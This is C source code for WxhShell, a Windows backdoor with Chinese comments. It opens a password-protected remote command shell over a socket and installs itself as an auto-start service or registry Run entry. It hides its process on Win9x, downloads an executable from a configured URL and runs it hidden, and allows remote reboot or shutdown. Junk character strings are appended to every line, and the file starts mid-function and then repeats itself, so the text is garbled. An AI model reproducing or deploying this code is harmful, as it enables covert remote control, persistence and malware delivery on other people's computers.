    send(wsh,msg_ws_err,strlen(msg_ws_err),0); 23.y3t_?  
    else { mRix0XBI~  
    closesocket(wsh); l[ZQ7$kL  
    ExitThread(0); !IQfeo T  
    } "oKj~:$  
    break; Vf#oKPP1  
    } !]UU;8h~  
  // 获取shell 4@ydK  
  case 's': { rZwf%}  
    CmdShell(wsh); 4rGO8R  
    closesocket(wsh); Hj-<{#,  
    ExitThread(0); y"%iD`{  
    break; QmDhZ04f  
  } QZz{74]n  
  // 退出 TWD|1 di0  
  case 'x': { /;]B1T7  
    send(wsh,msg_ws_ext,strlen(msg_ws_ext),0); bRY4yT  
    CloseIt(wsh); ^+Y-=2u:  
    break; .T N`p*  
    } bHlDm~5  
  // 离开 .jrR4@  
  case 'q': { 9, sCJ5bb"  
    send(wsh,msg_ws_end,strlen(msg_ws_end),0); V8|q"UX  
    closesocket(wsh); 3z{5c   
    WSACleanup(); T5X'D(\|  
    exit(1); t8a@L(J$  
    break; UH.}B3H   
        } s|rZ>SLL  
  } Z1qATX Xf  
  } OGD8QD  
Oujlm|  
  // 提示信息 f"OA Zji  
    if(strlen(cmd)) send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); hIg, 0B  
} .P0Qs&i  
  } ?Pok-90  
c=U$$|qHV  
  return; 6#lC(ko'  
} _g/T H-;^  
cVv4gQD\  
// shell模块句柄 8 MACbLY  
int CmdShell(SOCKET sock) WPh |~]by<  
{ m}'t'l4 c  
STARTUPINFO si; kxKnmB#m-  
ZeroMemory(&si,sizeof(si)); aZ`_W|  
si.dwFlags=STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; olQ8s *  
si.hStdInput=si.hStdOutput =si.hStdError =(void *)sock; AD4L`0D  
PROCESS_INFORMATION ProcessInfo;  6@Z'fT4  
char cmdline[]="cmd"; s5Bmv\e.i5  
CreateProcess(NULL,cmdline,NULL,NULL,1,0,NULL,NULL,&si,&ProcessInfo); j@_) F^12  
  return 0; W;)FNP|MT  
} E]U3O>hf  
+Hm+ #o  
// 自身启动模式 M& BM,~  
int StartFromService(void) ~jCpL@rS  
{ 8BoT%kVeJv  
typedef struct 6XxG1]84  
{ &j~|3  
  DWORD ExitStatus; .]sIoB-54  
  DWORD PebBaseAddress; \i;~~;D  
  DWORD AffinityMask; )su <Ji*  
  DWORD BasePriority; TF iM[  
  ULONG UniqueProcessId; O|7{%5h  
  ULONG InheritedFromUniqueProcessId; Ns(L1'9=  
}   PROCESS_BASIC_INFORMATION; Vlxb<$5Nh  
yPxG`w'  
PROCNTQSIP NtQueryInformationProcess; h/+I-],RF  
9'*ZEl^?D  
static ENUMPROCESSMODULES g_pEnumProcessModules = NULL ; ^xkppN2  
static GETMODULEBASENAME g_pGetModuleBaseName = NULL ; nAba =iW  
F~rY jAFTi  
  HANDLE             hProcess; RNrYT|  
  PROCESS_BASIC_INFORMATION pbi; ek.WuOs  
aSj1P/A  
  HINSTANCE hInst = LoadLibraryA("PSAPI.DLL"); hhgz=7Y  
  if(NULL == hInst ) return 0; 1&dsQ, VDl  
Hk~ gcG  
  g_pEnumProcessModules = (ENUMPROCESSMODULES)GetProcAddress(hInst ,"EnumProcessModules"); :`"T Eif  
  g_pGetModuleBaseName = (GETMODULEBASENAME)GetProcAddress(hInst, "GetModuleBaseNameA"); 6xzR*~ 7  
  NtQueryInformationProcess = (PROCNTQSIP)GetProcAddress(GetModuleHandle("ntdll"), "NtQueryInformationProcess"); EwBN+v;)  
tP^mq>  
  if (!NtQueryInformationProcess) return 0; "6o}qeB l  
U"Ob@$ROFy  
  hProcess = OpenProcess(PROCESS_QUERY_INFORMATION,FALSE,GetCurrentProcessId()); j?KB8oY`TP  
  if(!hProcess) return 0; $?JLCa  
'V9aB5O&  
  if(NtQueryInformationProcess( hProcess, 0, (PVOID)&pbi, sizeof(PROCESS_BASIC_INFORMATION), NULL)) return 0; E<G@LT  
a]=vq(N'r  
  CloseHandle(hProcess); ?`*-QG}  
:iOHc-x  
hProcess = OpenProcess(PROCESS_QUERY_INFORMATION | PROCESS_VM_READ, FALSE, pbi.InheritedFromUniqueProcessId); Z6/~2S@  
if(hProcess==NULL) return 0; X.4ZLwX=  
IWRq:Gw  
HMODULE hMod; {s^ryv_}  
char procName[255]; ;F]|HD9  
unsigned long cbNeeded; OFL+Q~~C  
<{xAvN( :  
if(g_pEnumProcessModules(hProcess, &hMod, sizeof(hMod), &cbNeeded)) g_pGetModuleBaseName(hProcess, hMod, procName, sizeof(procName)); 5Z1Do^  
V-U  ^O45  
  CloseHandle(hProcess); lXk-86[M  
2WECQl=r  
if(strstr(procName,"services")) return 1; // 以服务启动 a:%5.!Vd  
hv8[_p`>  
  return 0; // 注册表启动 WQmiG=Dw^  
} <GmrKdM  
hz|z&vyP  
// 主模块 [tf^i:2  
int StartWxhshell(LPSTR lpCmdLine) GTIfrqT  
{ iF_r'+j  
  SOCKET wsl; P;o>~Y>x  
BOOL val=TRUE; +FKP5L}  
  int port=0; 2?7hUaHX  
  struct sockaddr_in door; .q[sk  
pz6- hi7  
  if(wscfg.ws_autoins) Install(); =|&"/$+s  
A_*Lo6uII  
port=atoi(lpCmdLine); `L[32B9  
p1gX4t]%}a  
if(port<=0) port=wscfg.ws_port; y!c7y]9__2  
}b\q<sNE{  
  WSADATA data; IS*"_o<AR  
  if(WSAStartup(MAKEWORD(2,2),&data)!=0) return 1; JOne&{h]J"  
hA1hE?c`  
  if((wsl = WSASocket(AF_INET, SOCK_STREAM, IPPROTO_TCP,NULL,0,0)) == INVALID_SOCKET) return 1;   vc{]c }  
setsockopt(wsl,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val)); w,#W&>+&  
  door.sin_family = AF_INET; l'lDzB+.*  
  door.sin_addr.s_addr = inet_addr("127.0.0.1"); #_L&  
  door.sin_port = htons(port); #cF8)GC  
| xI_aYv*  
  if(bind(wsl, (const struct sockaddr *) &door,sizeof(door)) == INVALID_SOCKET) { *>*/|  
closesocket(wsl); WuZ n|j'  
return 1; lGBdQc]IL  
} k<";t  
LmdV@gR  
  if(listen(wsl,2) == INVALID_SOCKET) { mb`}sTU).  
closesocket(wsl); w8#>xV^~  
return 1; \R6T" U  
} HPCA$LD  
  Wxhshell(wsl); Nl)jQ  
  WSACleanup(); AS"|r  
C^: &3,  
return 0; [>9"RzEl  
!4.^@^L|\  
} Uk ;.Hrt.  
[a*>@IR  
// 以NT服务方式启动 ]BD5+>;  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPSTR *lpszArgv ) ~{$'sp0  
{ aYCzb7  
DWORD   status = 0; 4xn^`xf9  
  DWORD   specificError = 0xfffffff; a} 7KpKCD  
MCpK^7]k  
  serviceStatus.dwServiceType     = SERVICE_WIN32; @gGuV$Mw  
  serviceStatus.dwCurrentState     = SERVICE_START_PENDING; {QkH%jj  
  serviceStatus.dwControlsAccepted   = SERVICE_ACCEPT_STOP | SERVICE_ACCEPT_PAUSE_CONTINUE; +~.Jw#HqS  
  serviceStatus.dwWin32ExitCode     = 0; a2_IF,p*?  
  serviceStatus.dwServiceSpecificExitCode = 0; \~j(ui|  
  serviceStatus.dwCheckPoint       = 0; ]_xGVwem  
  serviceStatus.dwWaitHint       = 0; 0]0M>vx u  
`ViNSr):J  
  hServiceStatusHandle = RegisterServiceCtrlHandler(wscfg.ws_svcname, NTServiceHandler); .Tqvy)'  
  if (hServiceStatusHandle==0) return; wTbIS~!gF  
VOOThdR  
status = GetLastError(); yVv3S[J  
  if (status!=NO_ERROR) !)3Su=*R  
{ ):EXh#  
    serviceStatus.dwCurrentState     = SERVICE_STOPPED; PH &ms  
    serviceStatus.dwCheckPoint       = 0; $^ dk>Hj>4  
    serviceStatus.dwWaitHint       = 0; / hdl  
    serviceStatus.dwWin32ExitCode     = status; 1Nu`@)D0  
    serviceStatus.dwServiceSpecificExitCode = specificError; (uz!:dkvx  
    SetServiceStatus(hServiceStatusHandle, &serviceStatus); e1}0f8%  
    return; iL' ]du<wk  
  } zb)SlR  
]J]p:Y>NL  
  serviceStatus.dwCurrentState     = SERVICE_RUNNING; j=QjvWD  
  serviceStatus.dwCheckPoint       = 0; &c ~)z\$  
  serviceStatus.dwWaitHint       = 0; X^^D[U  
  if(SetServiceStatus(hServiceStatusHandle, &serviceStatus)) StartWxhshell(""); TL:RB)- <  
} t^;Fq{>  
SntYi0,`  
// 处理NT服务事件,比如:启动、停止 *heQ@ww  
VOID WINAPI NTServiceHandler(DWORD fdwControl) D];([:+4  
{ L KR,CPz  
switch(fdwControl) DTVnQC  
{ nE%qm -  
case SERVICE_CONTROL_STOP: V7i`vo3Cc  
  serviceStatus.dwWin32ExitCode = 0; }}R!Y)  
  serviceStatus.dwCurrentState = SERVICE_STOPPED; ~Nh7C b _  
  serviceStatus.dwCheckPoint   = 0; o-Arfc3Q  
  serviceStatus.dwWaitHint     = 0; ;H|M)z#[Z  
  { 5LH ]B  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); >9|+F [Fc  
  } # TF  
  return; D$ z!wV  
case SERVICE_CONTROL_PAUSE: C}E ea~  
  serviceStatus.dwCurrentState = SERVICE_PAUSED; %z(=GcWm  
  break; X/749"23  
case SERVICE_CONTROL_CONTINUE: Rx2|VD  
  serviceStatus.dwCurrentState = SERVICE_RUNNING; " N4]e/.V  
  break; niBpbsO  
case SERVICE_CONTROL_INTERROGATE: L]")TQ  
  break; 4`]1W,t  
}; 1_]l|`Po  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); e|y~q0Q$  
} "ET"dMxU  
#JM*QVzv  
// 标准应用程序主函数 .JjuY'-Q  
int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, INT nCmdShow) ^[akB|#\9  
{ NebZGD2K  
>X)G`N@ !  
// 获取操作系统版本 H>9$L~  
OsIsNt=GetOsVer(); =Ybu_>  
GetModuleFileName(NULL,ExeFile,MAX_PATH); aQ\O ]gCE  
\C|06Bs $  
  // 从命令行安装 zf#&3K'k  
  if(strpbrk(lpCmdLine,"iI")) Install(); r6G)R+#  
~=*_I4,+r  
  // 下载执行文件 Mq$=zsj  
if(wscfg.ws_downexe) { vj0?b/5m  
if(URLDownloadToFile(0, wscfg.ws_fileurl, wscfg.ws_filenam, 0, 0)==S_OK) !I&Sy]G  
  WinExec(wscfg.ws_filenam,SW_HIDE); YgDasKFm'  
} z"`?<A&u  
yRDLg c  
if(!OsIsNt) { R5zV= N  
// 如果时win9x,隐藏进程并且设置为注册表启动 1tc9STYR}  
HideProc(); |JQ05nb  
StartWxhshell(lpCmdLine); cKAl 0_[f"  
} na)ceN2h  
else x #g,l2_!  
  if(StartFromService()) Q5JeL6t  
  // 以服务方式启动 +^:K#S9U  
  StartServiceCtrlDispatcher(DispatchTable); :{2$X|f 3  
else x]T;W&s  
  // 普通方式启动 u{ /gjv  
  StartWxhshell(lpCmdLine); SYx)!n6U  
1<5yG7SZ  
return 0; f^ qQ 5N  
} Fsh-a7Qp  
plAt +*&  
cPSu!u}D  
EbHeP  
=========================================== y5}|Y{5  
HY:n{= o  
ok'1  
k=[R o  
2rM i~8 T  
k@'.d)y0`  
" MiRB*eA  
lvlH5Fc  
#include <stdio.h> %iv'/B8  
#include <string.h> wd *Jq  
#include <windows.h> E3qX$|.$/  
#include <winsock2.h> gu!A:Q  
#include <winsvc.h> arJ[.f9s  
#include <urlmon.h> OoNAW<  
Lif mYn[  
#pragma comment (lib, "Ws2_32.lib") \8!HZei  
#pragma comment (lib, "urlmon.lib") .wywO|  
>xN^#$ng}  
#define MAX_USER   100 // 最大客户端连接数 $oEDyC  
#define BUF_SOCK   200 // sock buffer ^ 9i^Ci9  
#define KEY_BUFF   255 // 输入 buffer Oc>-jhx?  
b;{C1aa>}  
#define REBOOT     0   // 重启 I$&/?ns@O  
#define SHUTDOWN   1   // 关机 PhQD}|S  
M}>q>  
#define DEF_PORT   5000 // 监听端口 JQqDUd  
>vhyKq|g<  
#define REG_LEN     16   // 注册表键长度 iy 5  
#define SVC_LEN     80   // NT服务名长度 ZpyRvDz  
tznT*EQr  
// 从dll定义API Zl)|x%z  
typedef DWORD (WINAPI pREGISTERSERVICEPROCESS) (DWORD,DWORD); 1N &U{#4  
typedef LONG (WINAPI *PROCNTQSIP)(HANDLE,UINT,PVOID,ULONG,PULONG); U&NOf;h$  
typedef BOOL (WINAPI *ENUMPROCESSMODULES) (HANDLE hProcess, HMODULE * lphModule, DWORD cb, LPDWORD lpcbNeeded); nJnan,`W  
typedef DWORD (WINAPI *GETMODULEBASENAME) (HANDLE hProcess, HMODULE hModule, LPTSTR lpBaseName, DWORD nSize); 7>'F=}6[Y  
g=.5*'Xlp  
// wxhshell配置信息 *HRRv.iQ  
struct WSCFG { [Zf<r1m  
  int ws_port;         // 监听端口 h;6@-\6  
  char ws_passstr[REG_LEN]; // 口令 <|4j<U  
  int ws_autoins;       // 安装标记, 1=yes 0=no {BF\G%v;+  
  char ws_regname[REG_LEN]; // 注册表键名 S.z;Bm  
  char ws_svcname[REG_LEN]; // 服务名  7)T+!>  
  char ws_svcdisp[SVC_LEN]; // 服务显示名 ,Xw/ t>  
  char ws_svcdesc[SVC_LEN]; // 服务描述信息 m`|Z1CT  
  char ws_passmsg[SVC_LEN]; // 密码输入提示信息 Am0$UeSZ  
int ws_downexe;       // 下载执行标记, 1=yes 0=no T]xGE   
char ws_fileurl[SVC_LEN]; // 下载文件的 url, "http://xxx/file.exe" =%p"oj]:  
char ws_filenam[SVC_LEN]; // 下载后保存的文件名 M\%{!Wzo8  
ocMf}"  
}; 4 R]|  
> h9U~#G=  
// default Wxhshell configuration tv0xfAV  
struct WSCFG wscfg={DEF_PORT, g 0L 4  
    "xuhuanlingzhe", O]>Or3oO  
    1, km^AX:r1  
    "Wxhshell", z(ajR*\#  
    "Wxhshell", B@4#y9`5  
            "WxhShell Service", I'gnw~  
    "Wrsky Windows CmdShell Service", "~ /3  
    "Please Input Your Password: ", xfzR>NU  
  1, u0,~pJvX  
  "http://www.wrsky.com/wxhshell.exe", `'>>[*06:a  
  "Wxhshell.exe" La!PG Z{  
    }; p4[W@JV  
\=@}(<4  
// 消息定义模块 QqDF_  
char *msg_ws_copyright="\n\rWxhShell v1.0 (C)2005 http://www.wrsky.com\n\rMake by 虚幻灵者\n\r"; -H \nFJ6+  
char *msg_ws_prompt="\n\r? for help\n\r#>"; H`P )  
char *msg_ws_cmd="\n\ri Install\n\rr Remove\n\rp Path\n\rb reboot\n\rd shutdown\n\rs Shell\n\rx exit\n\rq Quit\n\r\n\rDownload:\n\r#>http://.../server.exe\n\r"; L81"W`?  
char *msg_ws_ext="\n\rExit."; O Rfl v+  
char *msg_ws_end="\n\rQuit."; 75F&s,4+  
char *msg_ws_boot="\n\rReboot..."; 3"".kf,O5e  
char *msg_ws_poff="\n\rShutdown..."; H Ow hl  
char *msg_ws_down="\n\rSave to "; _FV.}%W<u  
Rm RV8 WJ6  
char *msg_ws_err="\n\rErr!"; ;r y{cq  
char *msg_ws_ok="\n\rOK!"; H|^4e   
LV[4zo]=  
char ExeFile[MAX_PATH]; \bg^E>-  
int nUser = 0; %tMfOW  
HANDLE handles[MAX_USER]; Hq~ 2,#Ue  
int OsIsNt; L*_xu _F  
> + SEze  
SERVICE_STATUS       serviceStatus; sOJ~PRA  
SERVICE_STATUS_HANDLE   hServiceStatusHandle; t!k 0n&P  
9we=aX5  
// 函数声明 rEViw?^KT  
int Install(void); S.I<Hs  
int Uninstall(void); <[q)2 5RL  
int DownloadFile(char *sURL, SOCKET wsh); A-~)7-  
int Boot(int flag); gp}S 1  
void HideProc(void); k4@GjO1"$  
int GetOsVer(void); (X8N?tJ  
int Wxhshell(SOCKET wsl); qjWgyhL  
void TalkWithClient(void *cs); i{,>2KVC|  
int CmdShell(SOCKET sock); Cr&ua|%F  
int StartFromService(void); h m"B kOA  
int StartWxhshell(LPSTR lpCmdLine); G0^PnE0-  
f ZISwr  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPTSTR *lpszArgv ); c" l~=1Dr  
VOID WINAPI NTServiceHandler( DWORD fdwControl ); rUyT5Vf  
)y K!EK\  
// 数据结构和表定义 Wc)^@f[~<  
SERVICE_TABLE_ENTRY DispatchTable[] = IL~yJx_11  
{ d<whb2l  
{wscfg.ws_svcname, NTServiceMain}, V +hV&|=  
{NULL, NULL} J@$>d  
}; . v;Npm2  
.-r 1.'.A  
// 自我安装 }vL[N~5\  
int Install(void) ^yX W.s  
{ 8xNKVj)@  
  char svExeFile[MAX_PATH]; hIdGQKr>V  
  HKEY key; 9KP+  
  strcpy(svExeFile,ExeFile); 41:Z8YL(  
eBP N[V  
// 如果是win9x系统,修改注册表设为自启动 j/W#=\xz  
if(!OsIsNt) { f(3#5288  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { 9/'j<v6M  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); aH:eu<s  
  RegCloseKey(key); 86I".R$d  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { B}3s=+L@8  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); fpzTv3D=I  
  RegCloseKey(key); s_]rje8`  
  return 0; F'"-4YV>&  
    } a E#s#Kv   
  } <uAqb Wu  
} i#C?&  
else { 6=zme6D  
{u!,TDt*  
// 如果是NT以上系统,安装为系统服务 uW[ <?sFG  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_CREATE_SERVICE); osnDW aN  
if (schSCManager!=0) 0wc+<CUW  
{ t%/5$<!b  
  SC_HANDLE schService = CreateService Qdtfi1_Y1  
  ( `W-:@?PmQx  
  schSCManager, 6h5*b8LxA  
  wscfg.ws_svcname, *zmbo >{(  
  wscfg.ws_svcdisp, 2;q6~Y,  
  SERVICE_ALL_ACCESS, D6 M:pIN*  
  SERVICE_WIN32_OWN_PROCESS|SERVICE_INTERACTIVE_PROCESS , f[X>?{q  
  SERVICE_AUTO_START, ^x4gUT-Wy  
  SERVICE_ERROR_NORMAL, ){6;o& CC:  
  svExeFile, $[z*MQ  
  NULL, 7igrRU#1%  
  NULL, J${wU @_ %  
  NULL, C[[z3tn  
  NULL, l5aQDkp}  
  NULL 9m#`56G`  
  ); mxXQBmW  
  if (schService!=0) ' rXkTm1{  
  { 0z,c6MjM+  
  CloseServiceHandle(schService); $bN%x/  
  CloseServiceHandle(schSCManager); /  ]I]  
  strcpy(svExeFile,"SYSTEM\\CurrentControlSet\\Services\\"); Z'u`)jR  
  strcat(svExeFile,wscfg.ws_svcname); rMI:zFS  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,svExeFile,&key)==ERROR_SUCCESS) { GSMP)8 W  
  RegSetValueEx(key,"Description",0,REG_SZ,(BYTE *)wscfg.ws_svcdesc,lstrlen(wscfg.ws_svcdesc)); LNr2YRpyz  
  RegCloseKey(key); 8I@_X~R  
  return 0; (+9@j(  
    } D,J's(wd  
  } }F^c*xt[  
  CloseServiceHandle(schSCManager); aE:fMDS|x  
} &gq\e^0CRZ  
} 1W; +hXx  
Ex~OT  
return 1; 1tD4 I  
} e#08,wgW  
yy%J{;  
// 自我卸载 NjMo"1d  
int Uninstall(void) 7^:s/xHO*  
{ 0C0iAp  
  HKEY key; br0gB3 r  
YRB,jwne  
if(!OsIsNt) { Iy"   
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { y\ouIsI77  
  RegDeleteValue(key,wscfg.ws_regname); 96 C|R  
  RegCloseKey(key); n#m )]YQC  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { 2p@S-Lp  
  RegDeleteValue(key,wscfg.ws_regname); > Y LwWU<X  
  RegCloseKey(key); :^px1  
  return 0; 4Jht{#IIG  
  } B:Msn)C~  
} ]x~H"<V  
} QHA<7Wg  
else { rU(N@i%  
lQ@ 2s[  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_ALL_ACCESS); YsLEbue   
if (schSCManager!=0) #O G_O I  
{ {L3lQ8Z  
  SC_HANDLE schService = OpenService( schSCManager, wscfg.ws_svcname, SERVICE_ALL_ACCESS); 84|Hn|4t  
  if (schService!=0) '%)7%O,2  
  { \Q]2Zq  
  if(DeleteService(schService)!=0) { taI])  
  CloseServiceHandle(schService); HHT K{X+  
  CloseServiceHandle(schSCManager); rW!P~yk  
  return 0; Rh,*tS  
  } MX  qH  
  CloseServiceHandle(schService); :fo%)_Jc!  
  } +xB !T1p D  
  CloseServiceHandle(schSCManager); 3_ObCsJ#,  
} }9{6{TD  
} ,sXa{U  
<+C]^*j  
return 1; k4s >sd3 5  
} NNSn]LP  
o9>r -  
// 从指定url下载文件 T*O!r`.Ak  
int DownloadFile(char *sURL, SOCKET wsh) G^oBu^bq~  
{ 7@MVInV9  
  HRESULT hr; oO!@s`  
char seps[]= "/"; YP+0 uZ[g  
char *token; vlx wt~  
char *file; HuCH`|v-  
char myURL[MAX_PATH]; _! \X>rfz  
char myFILE[MAX_PATH]; !PJ;d)\T  
7*uG9iX  
strcpy(myURL,sURL); ^uC1\!Q1  
  token=strtok(myURL,seps); ZA+$ZU^  
  while(token!=NULL) J?u",a]|H"  
  { <#LH L  
    file=token; 5"k _Ms7R,  
  token=strtok(NULL,seps); sl>4O]N  
  } mI"`.  
pn>zuH e  
GetCurrentDirectory(MAX_PATH,myFILE); pT:CvJ  
strcat(myFILE, "\\"); &A]*"lt|w  
strcat(myFILE, file); {WT"\Xj>B?  
  send(wsh,myFILE,strlen(myFILE),0); }G_ i+  
send(wsh,"...",3,0); -N~*h  
hr = URLDownloadToFile(0, sURL, myFILE, 0, 0); ,RDxu7iT  
  if(hr==S_OK) t k2B\}6  
return 0; H+\rCefba  
else d8/lEmv[  
return 1; 9kWyO:a_(  
{PWz:\oaD  
} *~4w%U4T0  
'BcxKqC  
// 系统电源模块 F[ m^(x  
int Boot(int flag) i8+kc_8#d  
{ 4f'WF5S/}8  
  HANDLE hToken;  \^w=T*  
  TOKEN_PRIVILEGES tkp; +7^{T:^ht  
.0r5=  
  if(OsIsNt) { l&^9<th  
  OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken); ,bKA]#(2  
    LookupPrivilegeValue(NULL, SE_SHUTDOWN_NAME,&tkp.Privileges[0].Luid); <j-Bj$3  
    tkp.PrivilegeCount = 1; _)ZAf% f?  
    tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED; ;9/6X#;$  
    AdjustTokenPrivileges(hToken, FALSE, &tkp, 0,(PTOKEN_PRIVILEGES)NULL, 0); :Dw;RcZQ  
if(flag==REBOOT) { JP S L-j  
  if(ExitWindowsEx(EWX_REBOOT | EWX_FORCE, 0)) 45W:b/n\  
  return 0; 7f~DD8R  
} Vt*Duh+4  
else { t? yMuK  
  if(ExitWindowsEx(EWX_POWEROFF | EWX_FORCE, 0)) >dn[oS,  
  return 0; w'#VN|;;!  
} I^ppEgYSY  
  } 3JWHyo  
  else { L5]*ZCDv  
if(flag==REBOOT) { 6P3ezl@#;  
  if(ExitWindowsEx(EWX_REBOOT + EWX_FORCE,0)) rKP"|+^  
  return 0; 9v_gR52vh  
} to(OVg7_  
else { !f V.#9AB#  
  if(ExitWindowsEx(EWX_SHUTDOWN + EWX_FORCE,0)) *(& J^  
  return 0; t> -cTQm  
} HRC5z<k%  
} gXE'3  
> rB7ms/@E  
return 1; f8 B*D4R}  
} XK{`x<  
[`yiD>  
// win9x进程隐藏模块 b'St14_  
void HideProc(void) ;_%61ZI?M<  
{ $Vlfg51ob  
{uDL"~^\  
  HINSTANCE hKernel=LoadLibrary("Kernel32.dll"); |^^;v|  
  if ( hKernel != NULL ) u%JM0180  
  { )jn|+M  
pREGISTERSERVICEPROCESS *pRegisterServiceProcess=(pREGISTERSERVICEPROCESS *)GetProcAddress(hKernel,"RegisterServiceProcess"); v'2EYTVNJD  
    ( *pRegisterServiceProcess)(GetCurrentProcessId(),1); \V+$2 :A  
    FreeLibrary(hKernel); EX='\~Dw  
  } P>0j]?RB  
-!I.:97 N  
return; GKZn|<Y|{c  
} axxd W)+K  
@$F(({?  
// 获取操作系统版本 acRPKTs H  
int GetOsVer(void) jgs kK  
{ ]j}zN2[A  
  OSVERSIONINFO winfo; iePpJ>(  
  winfo.dwOSVersionInfoSize=sizeof(OSVERSIONINFO); +[zrU`!@  
  GetVersionEx(&winfo);  #Z"N\49  
  if(winfo.dwPlatformId==VER_PLATFORM_WIN32_NT) @R9  
  return 1; 0v,DQJ?w8  
  else 44 o5I:  
  return 0; I`5F& 8J{  
} L`V6\Ix(I  
o`DBzC  
// 客户端句柄模块 u> %r(  
int Wxhshell(SOCKET wsl) !-|&  
{ 3|[:8  
  SOCKET wsh; P(VQD>G  
  struct sockaddr_in client; \V7Hi\)  
  DWORD myID; 3`5?Zgp  
3 B KW  
  while(nUser<MAX_USER) Ad+-/hxc  
{ bsR^H5O@  
  int nSize=sizeof(client); VVYQIR]!yk  
    wsh=accept(wsl,(struct sockaddr *)&client,&nSize); @433?g`2b  
  if(wsh==INVALID_SOCKET) return 1; @j9yc  
wpb6F '  
handles[nUser]=CreateThread(0,1000,(LPTHREAD_START_ROUTINE) TalkWithClient,(VOID *) wsh, 0, &myID); t/u$Ts  
if(handles[nUser]==0) KVSy^-."  
  closesocket(wsh); Rl=NVo  
else Rqa#;wb!(  
  nUser++; 6K[s),rdv  
  } Yc"G="XP;  
  WaitForMultipleObjects(MAX_USER,handles,TRUE,INFINITE); * ,_Qdr^F  
+G7A.d`V}  
  return 0; j &)|nK;}  
} mucY+k1>g  
]W5s!T_  
// 关闭 socket Y GO ;wIS  
void CloseIt(SOCKET wsh) YzhZ%:8  
{  &j2L- )  
closesocket(wsh); IgLP=mqcWK  
nUser--; gA`/t e  
ExitThread(0); ?F(t`0=  
} MP w@O0QS  
>Cb% `pe  
// 客户端请求句柄 $_S^Aw?  
void TalkWithClient(void *cs) 4Q z  
{ [ j1SX-NX  
%UV_ 3  
  SOCKET wsh=(SOCKET)cs; 4:nmo@K &~  
  char pwd[SVC_LEN]; !#f4t]FM`B  
  char cmd[KEY_BUFF]; n)sK#C-VA  
char chr[1]; $B2* x$  
int i,j; GNZQj8  
shYcfLJ  
  while (nUser < MAX_USER) { ?N,a {#w  
2a (w7/W:  
if(wscfg.ws_passstr) { }]=b%CPJh+  
  if(strlen(wscfg.ws_passmsg)) send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); f|m.v +7k  
      //send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); jQ%}e"  
  //ZeroMemory(pwd,KEY_BUFF); ! r.X.C  
      i=0; cd) <t8^KE  
  while(i<SVC_LEN) { (xG#D;M0  
w^A8ZT0^7  
  // 设置超时 |jEKUTv,G  
  fd_set FdRead; P2 !~}{-  
  struct timeval TimeOut; F2z^7n.S  
  FD_ZERO(&FdRead); Mff_j0D  
  FD_SET(wsh,&FdRead); 8p-5.GU)<e  
  TimeOut.tv_sec=8; R+]Fh4t  
  TimeOut.tv_usec=0; P-7!\[];te  
  int Er=select(wsh+1, &FdRead, NULL, NULL, &TimeOut); wAF>C[<\  
  if((Er==SOCKET_ERROR) || (Er==0)) CloseIt(wsh); ~ W52Mbf  
0aQNdi)b  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); a_x$I? ,  
  pwd=chr[0]; I]~xs0$4#  
  if(chr[0]==0xd || chr[0]==0xa) { rv9qF |2r{  
  pwd=0; sOz jViv  
  break; )n5]+VTZ5  
  } N95"dNZE  
  i++; U87VaUr  
    } *h@nAB\3  
<saS2.4  
  // 如果是非法用户,关闭 socket )#xd]~ <  
        if(strcmp(pwd,wscfg.ws_passstr)) CloseIt(wsh); dm8veKW'l  
} :*0k:h6g  
`vL R;D  
send(wsh,msg_ws_copyright,strlen(msg_ws_copyright),0); cK@O)Ko}  
  send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); :2 QA#  
Y^2Ma878  
while(1) { :M1+[FT  
y{!`4CxF  
  ZeroMemory(cmd,KEY_BUFF); ugVsp&i#  
!xj>~7  
      // 自动支持客户端 telnet标准   ZH0 ~:  
  j=0; ?mG ?N(t/h  
  while(j<KEY_BUFF) { PM[6U#  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); e7]IEBbX2O  
  cmd[j]=chr[0]; va~:oA  
  if(chr[0]==0xa || chr[0]==0xd) { _~HGMC)  
  cmd[j]=0; `z Z=#p/  
  break; e%wbUr]c2  
  } [EB2o.E sO  
  j++; o'>jO.|  
    } <2}"Y(zwKl  
)K8JDP  
  // 下载文件 ir \d8.  
  if(strstr(cmd,"http://")) { djZOx;/  
  send(wsh,msg_ws_down,strlen(msg_ws_down),0); I".d>]16|  
  if(DownloadFile(cmd,wsh)) 0t/S_Q  
  send(wsh,msg_ws_err,strlen(msg_ws_err),0); 0:v7X)St  
  else P:ys--$"  
  send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); 57K1e~^  
  } 1V FAfv%}  
  else { m4>v S  
+&(sZFW5o  
    switch(cmd[0]) { '9{H(DA  
  I/XVo2Ee  
  // 帮助 G1$DV Go  
  case '?': { ZZ[5Z =te?  
